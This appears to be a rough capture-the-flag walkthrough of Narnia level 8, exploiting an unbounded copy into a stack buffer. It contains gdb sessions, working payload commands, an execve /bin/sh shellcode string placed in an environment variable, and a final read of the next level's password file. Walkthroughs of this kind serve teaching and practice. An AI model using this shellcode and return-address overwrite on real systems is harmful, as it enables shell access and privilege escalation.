Level 8
WARNING: this is quite the brain dump as opposed to a coherent post. I’m aiming to re-write this at some point.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
The for
loop is interesting - we copy data from blah
into bok
until we hit a null byte. There is no boundary check at all, which gives us the ability to overflow bok
.
With this we should be able to overwrite func
s return address to main
with something of our choosing. Let’s see this in gdb
:
narnia8@narnia:/narnia$ gdb -q narnia8
Reading symbols from narnia8...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass func
Dump of assembler code for function func:
0x0804842d <+0>: push ebp
0x0804842e <+1>: mov ebp,esp
0x08048430 <+3>: sub esp,0x38
0x08048433 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048436 <+9>: mov DWORD PTR [ebp-0xc],eax
0x08048439 <+12>: mov DWORD PTR [esp+0x8],0x14
0x08048441 <+20>: mov DWORD PTR [esp+0x4],0x0
0x08048449 <+28>: lea eax,[ebp-0x20]
0x0804844c <+31>: mov DWORD PTR [esp],eax
0x0804844f <+34>: call 0x8048320 <memset@plt>
0x08048454 <+39>: mov DWORD PTR ds:0x80497b8,0x0
0x0804845e <+49>: jmp 0x8048486 <func+89>
0x08048460 <+51>: mov eax,ds:0x80497b8
0x08048465 <+56>: mov edx,DWORD PTR ds:0x80497b8
0x0804846b <+62>: mov ecx,edx
0x0804846d <+64>: mov edx,DWORD PTR [ebp-0xc]
0x08048470 <+67>: add edx,ecx
0x08048472 <+69>: movzx edx,BYTE PTR [edx]
0x08048475 <+72>: mov BYTE PTR [ebp+eax*1-0x20],dl
0x08048479 <+76>: mov eax,ds:0x80497b8
0x0804847e <+81>: add eax,0x1
0x08048481 <+84>: mov ds:0x80497b8,eax
0x08048486 <+89>: mov eax,ds:0x80497b8
0x0804848b <+94>: mov edx,eax
0x0804848d <+96>: mov eax,DWORD PTR [ebp-0xc]
0x08048490 <+99>: add eax,edx
0x08048492 <+101>: movzx eax,BYTE PTR [eax]
0x08048495 <+104>: test al,al
0x08048497 <+106>: jne 0x8048460 <func+51>
0x08048499 <+108>: lea eax,[ebp-0x20]
0x0804849c <+111>: mov DWORD PTR [esp+0x4],eax
0x080484a0 <+115>: mov DWORD PTR [esp],0x8048580
0x080484a7 <+122>: call 0x80482f0 <printf@plt>
0x080484ac <+127>: leave
0x080484ad <+128>: ret
End of assembler dump.
(gdb) break *0x0804849c
Breakpoint 1 at 0x804849c
Breakpoint 1 at 0x804849c
(gdb) r $(python -c 'print "D"*20')
Starting program: /narnia/narnia8 $(python -c 'print "D"*20')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0: 0xffffd6d8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6d0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0xffffd8e9
0xffffd6f0: 0x00000002 0xffffd7b4 0xffffd718 0x080484cd
0xffffd700: 0xffffd8e9 0xf7ffd000 0x080484fb 0xf7fcc000
(gdb) x/x 0x080484cd
0x80484cd <main+31>: 0x458b15eb
(gdb) x/s 0xffffd8e8
0xffffd8e8: 'D' <repeats 20 times>
The return value from func
back to main
is a couple of addresses down. We also see the arguments we passed in. Can we overwrite that?
(gdb) r $(python -c 'print "D"*40')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*40')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6b0: 0xffffd6c8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6c0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6d0: 0x44444444 0x44444444 0x44444444 0xffffd844
0xffffd6e0: 0x00000002 0xffffd7a4 0xffffd708 0x080484cd
0xffffd6f0: 0xffffd8d4 0xf7ffd000 0x080484fb 0xf7fcc000
Wait what? We’re not overflowing anything!
Actually that’s not quite true. 0xffffd8e9
, blah
’s address, has been changed to 0xffffd844
- 0x44
being the last byte we wrote. So technically if we changed that to 0xe9
we could keep the address intact.
(gdb) r $(python -c 'print "D"*20 + "\xe9"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe9"')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0: 0xffffd6d8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6d0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0xffff48e9
Progress, but now the next byte is off. Can we simply add the second chunk of our desired address, 0xd8
?
(gdb) r $(python -c 'print "D"*20 + "\xe9\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe9\xd8"')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0: 0xffffd6d8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6d0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0xffff48e9
0xffffd6f0: 0x00000002 0xffffd7b4 0xffffd718 0x080484cd
0xffffd700: 0xffffd8e6 0xf7ffd000 0x080484fb 0xf7fcc000
That did not work - and there’s a simple reason for that. Let’s see what is at our expected address:
(gdb) x/s 0xffffd8e9
0xffffd8e9: 'D' <repeats 17 times>, "\351\330"
(gdb) x/s 0xffffd8e6
0xffffd8e6: 'D' <repeats 20 times>, "\351\330"
Because of our extra character the address for b
shifted down. We need to take that into account:
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8"')
Breakpoint 1, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6c0: 0xffffd6d8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6d0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0xffffd8e6
Looking better! But we need to understand how the address shifts:
(gdb) break *0x08048449
Breakpoint 3 at 0x8048449
(gdb) delete 1
(gdb) delete 2
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8"')
Breakpoint 3, 0x08048449 in func ()
(gdb) x/x $ebp-0xc
0xffffd6ec: 0xffffd8e6
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8D"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8D"')
Breakpoint 3, 0x08048449 in func ()
(gdb) x/x $ebp-0xc
0xffffd6ec: 0xffffd8e5
(gdb) r $(python -c 'print "D"*20 + "\xe6\xd8DD"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xe6\xd8DD"')
Breakpoint 3, 0x08048449 in func ()
(gdb) x/x $ebp-0xc
0xffffd6ec: 0xffffd8e4
So for every byte we add, b
’s address shifts down by 1. Adding another 2 bytes for the address and another 20 D’s would mean b
’s address will become 0xffffd8e6-22
:
(gdb) p/x 0xffffd8e6-22
$16 = 0xffffd8d0
With this in mind let’s see if we can overflow:
(gdb) r $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
Breakpoint 4, 0x0804849c in func ()
(gdb) x/20wx $sp
0xffffd6b0: 0xffffd6c8 0x00000000 0x00000014 0xf7e55fe3
0xffffd6c0: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd6d0: 0x44444444 0x44444444 0x44444444 0xffffd8d0
0xffffd6e0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd6f0: 0x44444444 0xf7ffd000 0x080484fb 0xf7fcc000
Success! We’re getting there. With this we can overwrite func
’s return value - though it needs to be meaningful. We’ll store our shellcode in an environment variable. We can get the variable’s address with the code below:
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char* argv[])
{
printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
narnia8@narnia:/tmp$ export SHELLCODE="\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"
narnia8@narnia:/tmp$ gcc -m32 getenv.c -o getenv8
narnia8@narnia:/tmp$ ./getenv8 SHELLCODE
SHELLCODE is at 0xffffd882
narnia8@narnia:/tmp$ echo $SHELLCODE | wc
1 1 141
narnia8@narnia:/narnia$ export SHELLCODE=$(printf "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80")
narnia8@narnia:/narnia$ gdb -q narnia8
Reading symbols from narnia8...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass func
Dump of assembler code for function func:
0x0804842d <+0>: push ebp
0x0804842e <+1>: mov ebp,esp
0x08048430 <+3>: sub esp,0x38
0x08048433 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048436 <+9>: mov DWORD PTR [ebp-0xc],eax
0x08048439 <+12>: mov DWORD PTR [esp+0x8],0x14
0x08048441 <+20>: mov DWORD PTR [esp+0x4],0x0
0x08048449 <+28>: lea eax,[ebp-0x20]
0x0804844c <+31>: mov DWORD PTR [esp],eax
0x0804844f <+34>: call 0x8048320 <memset@plt>
0x08048454 <+39>: mov DWORD PTR ds:0x80497b8,0x0
0x0804845e <+49>: jmp 0x8048486 <func+89>
0x08048460 <+51>: mov eax,ds:0x80497b8
0x08048465 <+56>: mov edx,DWORD PTR ds:0x80497b8
0x0804846b <+62>: mov ecx,edx
0x0804846d <+64>: mov edx,DWORD PTR [ebp-0xc]
0x08048470 <+67>: add edx,ecx
0x08048472 <+69>: movzx edx,BYTE PTR [edx]
0x08048475 <+72>: mov BYTE PTR [ebp+eax*1-0x20],dl
0x08048479 <+76>: mov eax,ds:0x80497b8
0x0804847e <+81>: add eax,0x1
0x08048481 <+84>: mov ds:0x80497b8,eax
0x08048486 <+89>: mov eax,ds:0x80497b8
0x0804848b <+94>: mov edx,eax
0x0804848d <+96>: mov eax,DWORD PTR [ebp-0xc]
0x08048490 <+99>: add eax,edx
0x08048492 <+101>: movzx eax,BYTE PTR [eax]
0x08048495 <+104>: test al,al
0x08048497 <+106>: jne 0x8048460 <func+51>
0x08048499 <+108>: lea eax,[ebp-0x20]
0x0804849c <+111>: mov DWORD PTR [esp+0x4],eax
0x080484a0 <+115>: mov DWORD PTR [esp],0x8048580
0x080484a7 <+122>: call 0x80482f0 <printf@plt>
0x080484ac <+127>: leave
0x080484ad <+128>: ret
End of assembler dump.
(gdb) break *0x080484a7
Breakpoint 1 at 0x80484a7
(gdb) r $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
Breakpoint 1, 0x080484a7 in func ()
(gdb) x/20wx $sp
0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7e55fe3
0xffffd680: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd690: 0x44444444 0x44444444 0x44444444 0xffff0bd0
0xffffd6a0: 0x00000002 0xffffd764 0xffffd6c8 0x080484cd
0xffffd6b0: 0xffffd8a2 0xf7ffd000 0x080484fb 0xf7fcc000
(gdb) break 0x08048449
Function "0x08048449" not defined.
Make breakpoint pending on future shared library load? (y or [n]) n
(gdb) break *0x08048449
Breakpoint 2 at 0x8048449
(gdb) r $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xd0\xd8\xff\xff" + "D"*20')
Breakpoint 2, 0x08048449 in func ()
(gdb) x/x ebp-0xc
No symbol table is loaded. Use the "file" command.
(gdb) x/x $ebp-0xc
0xffffd69c: 0xffffd8a2
(gdb) p/x 0xffffd8a2-22
$1 = 0xffffd88c
(gdb) r $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
Breakpoint 2, 0x08048449 in func ()
(gdb) n
Single stepping until exit from function func,
which has no line number information.
Breakpoint 1, 0x080484a7 in func ()
(gdb) x/20wx $esp
0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7e55fe3
0xffffd680: 0x00000000 0x002c307d 0x44444444 0x44444444
0xffffd690: 0x44444444 0x44444444 0x44444444 0xffffd8a2
0xffffd6a0: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd6b0: 0x44444444 0xf7ffd000 0x080484fb 0xf7fcc000
(gdb) x/x 0x080484fb
0x80484fb <__libc_csu_init+11>: 0x1295c381
(gdb) c
Continuing.
DDDDDDDDDDDDDDDDDDDD▒▒DDDDDDDDDDDDDDDDDDDD
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) r $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "D"*20')
Breakpoint 2, 0x08048449 in func ()
(gdb) x/s *((char **)environ)
0xffffd8cf: "SHELLCODE=1\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200"
(gdb) r $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "\xcf\xd8\xff\xff"*5')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print "D"*20 + "\xa2\xd8\xff\xff" + "\xcf\xd8\xff\xff"*5')
Breakpoint 2, 0x08048449 in func ()
(gdb) c
Continuing.
Breakpoint 1, 0x080484a7 in func ()
(gdb) c
Continuing.
DDDDDDDDDDDDDDDDDDDD▒▒▒▒▒▒▒▒▒▒▒▒
process 486 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x8048449
Cannot insert breakpoint 1.
Cannot access memory at address 0x80484a7
We now need to do this outside of gdb
, which sounds much easier than it is. For starters the environment in gdb
is different - which means b
’s address will be different too. However we do know from the source code that bok
will be printed until it hits a null byte. This means that if we fill it with 20 non-null bytes, the next one will be b
’s address.
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "D"*20') | xxd
0000000: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
0000010: 4444 4444 ccd8 ffff 020a DDDD......
narnia8@narnia:/narnia$ python -c 'print "{:8x}".format(0xffffd8cc-24)'
ffffd8b4
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "D"*20 + "\xb4\xd8\xff\xff" + "D"*20' )
DDDDDDDDDDDDDDDDDDDD▒▒DDDDDDDDDDDDDDDDDDDD
Segmentation fault (core dumped)
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "D"*20 + "\xb4\xd8\xff\xff" + "\xeb\xd8\xff\xff*5' )
File "<string>", line 1
print "D"*20 + "\xb4\xd8\xff\xff" + "\xeb\xd8\xff\xff*5
^
SyntaxError: EOL while scanning string literal
./narnia8 argument
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "D"*20 + "\xb4\xd8\xff\xff" + "\xeb\xd8\xff\xff"*5' )
DDDDDDDDDDDDDDDDDDDD▒▒▒▒▒▒▒▒▒▒▒▒
$ cat /etc/narnia_pass/narnia9
*** password ***